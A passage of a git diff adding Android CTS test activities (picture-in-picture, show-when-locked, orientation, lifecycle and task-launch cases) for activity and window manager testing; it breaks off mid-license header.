+ * This activity will try and enter picture in picture when it is stopped.
+ */
+public class PipOnStopActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.tap_to_finish_pip_layout);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        startActivity(new Intent(this, PipActivity.class));
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        try {
+            enterPictureInPictureMode();
+        } catch (RuntimeException e) {
+            // Known failure, we expect this call to throw an exception
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java
new file mode 100644
index 0000000..5fa1fc8
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.content.res.Configuration;
+
+public class PortraitOrientationActivity extends AbstractLifecycleLogActivity {
+
+    @Override
+    protected String getTag() {
+        return "PortraitOrientationActivity";
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        final Configuration config = getResources().getConfiguration();
+        dumpDisplaySize(config);
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpDisplaySize(newConfig);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java
new file mode 100644
index 0000000..aad874b
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.server.cts;
+
+import android.content.res.Configuration;
+import android.os.Bundle;
+
+public class ResizeableActivity extends AbstractLifecycleLogActivity {
+    @Override
+    protected String getTag() {
+        return "ResizeableActivity";
+    }
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        setContentView(R.layout.resizeable_activity);
+        dumpDisplaySize(getResources().getConfiguration());
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpDisplaySize(newConfig);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
new file mode 100644
index 0000000..578d7e5
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class ResumeWhilePausingActivity extends Activity {
+    // Empty
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java
new file mode 100644
index 0000000..6e3348a
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedActivity extends BroadcastReceiverActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java
new file mode 100644
index 0000000..5b60139
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedDialogActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java
new file mode 100644
index 0000000..929c9f7
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedTranslucentActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+        setContentView(R.layout.translucent);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java
new file mode 100644
index 0000000..58d5ac7
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedWithDialogActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+        new AlertDialog.Builder(this)
+                .setTitle("Dialog")
+                .show();
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java
new file mode 100644
index 0000000..e0eaecf
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class SingleInstanceActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java
new file mode 100644
index 0000000..7ffde13
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class SingleTaskActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java
new file mode 100644
index 0000000..a757165
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class SlowCreateActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            Thread.sleep(2000);
+        } catch(InterruptedException e) {}
+        super.onCreate(savedInstanceState);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java
new file mode 100644
index 0000000..22391bd
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.SystemClock;
+
+/**
+ * Activity that shows a custom splashscreen when being launched.
+ */
+public class SplashscreenActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        // Make sure splash screen is visible. The test won't take 5 seconds because the condition
+        // such that we can dump the state will trigger much earlier and then the test will just
+        // kill us.
+        SystemClock.sleep(5000);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java
new file mode 100644
index 0000000..5f36abc
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.server.cts.SwipeRefreshLayout;
+
+
+/**
+ * An activity containing a SwipeRefreshLayout which prevents activity idle.
+ */
+public class SwipeRefreshActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = SwipeRefreshActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(new SwipeRefreshLayout(this));
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java
new file mode 100644
index 0000000..a061d9e
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.content.Context;
+import android.util.AttributeSet;
+
+/**
+ * An extension of {@link android.support.v4.widget.SwipeRefreshLayout} that calls
+ * {@link #setRefreshing} during construction, preventing activity idle.
+ */
+public class SwipeRefreshLayout extends android.support.v4.widget.SwipeRefreshLayout {
+    public SwipeRefreshLayout(Context context) {
+        super(context);
+        initialize();
+    }
+
+    public SwipeRefreshLayout(Context context, AttributeSet attrs) {
+        super(context, attrs);
+        initialize();
+    }
+
+    private void initialize() {
+        setRefreshing(true);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java
new file mode 100644
index 0000000..f9a86c6
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TestActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = TestActivity.class.getSimpleName();
+
+    // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
+    private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+
+    // Finishes the activity
+    private static final String ACTION_FINISH_SELF = "android.server.cts.TestActivity.finish_self";
+
+    private BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent != null && intent.getAction().equals(ACTION_FINISH_SELF)) {
+                finish();
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        // Set the fixed orientation if requested
+        if (getIntent().hasExtra(EXTRA_FIXED_ORIENTATION)) {
+            final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
+            setRequestedOrientation(ori);
+        }
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        registerReceiver(mReceiver, new IntentFilter(ACTION_FINISH_SELF));
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        final Configuration config = getResources().getConfiguration();
+        dumpDisplaySize(config);
+        dumpConfiguration(config);
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        unregisterReceiver(mReceiver);
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpDisplaySize(newConfig);
+        dumpConfiguration(newConfig);
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
new file mode 100644
index 0000000..db75dee
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.app.PictureInPictureParams;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TestActivityWithSameAffinity extends TestActivity {
+
+    private static final String TAG = TestActivityWithSameAffinity.class.getSimpleName();
+
+    // Calls enterPictureInPicture() on creation
+    private static final String EXTRA_ENTER_PIP = "enter_pip";
+    // Starts the activity (component name) provided by the value at the end of onCreate
+    private static final String EXTRA_START_ACTIVITY = "start_activity";
+    // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
+    private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        // Enter picture in picture if requested
+        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        }
+
+        // Launch a new activity if requested
+        String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
+        if (launchActivityComponent != null) {
+            Intent launchIntent = new Intent();
+            launchIntent.setComponent(ComponentName.unflattenFromString(launchActivityComponent));
+            startActivity(launchIntent);
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        // Finish self if requested
+        if (getIntent().hasExtra(EXTRA_FINISH_SELF_ON_RESUME)) {
+            finish();
+        }
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java
new file mode 100644
index 0000000..6684999
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.os.Handler;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TopActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = TopActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
+        if (useWallpaper) {
+            setTheme(R.style.WallpaperTheme);
+        }
+
+        final int finishDelay = getIntent().getIntExtra("FINISH_DELAY", 0);
+        if (finishDelay > 0) {
+            Handler handler = new Handler();
+            handler.postDelayed(new Runnable() {
+                @Override
+                public void run() {
+                    Log.d(TAG, "Calling finish()");
+                    finish();
+                }
+            }, finishDelay);
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java
new file mode 100644
index 0000000..2305582
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class TopLeftLayoutActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java
new file mode 100644
index 0000000..701d3db
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class TopRightLayoutActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java
new file mode 100644
index 0000000..b3f9444
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.os.Bundle;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.content.Intent;
+
+public class TrampolineActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = TrampolineActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        // Add a delay here to expose more easily a failure case where the real target
+        // activity is visible before it's launched, because its task is being brought
+        // to foreground. We need to verify that 'am start' is unblocked correctly.
+        try {
+            Thread.sleep(2000);
+        } catch(InterruptedException e) {}
+        Intent intent = new Intent(this, SingleTaskActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_NEW_TASK);
+
+        startActivity(intent);
+        finish();
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java
new file mode 100644
index 0000000..96697aa
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class TranslucentActivity extends Activity {
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java
new file mode 100644
index 0000000..e979712
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
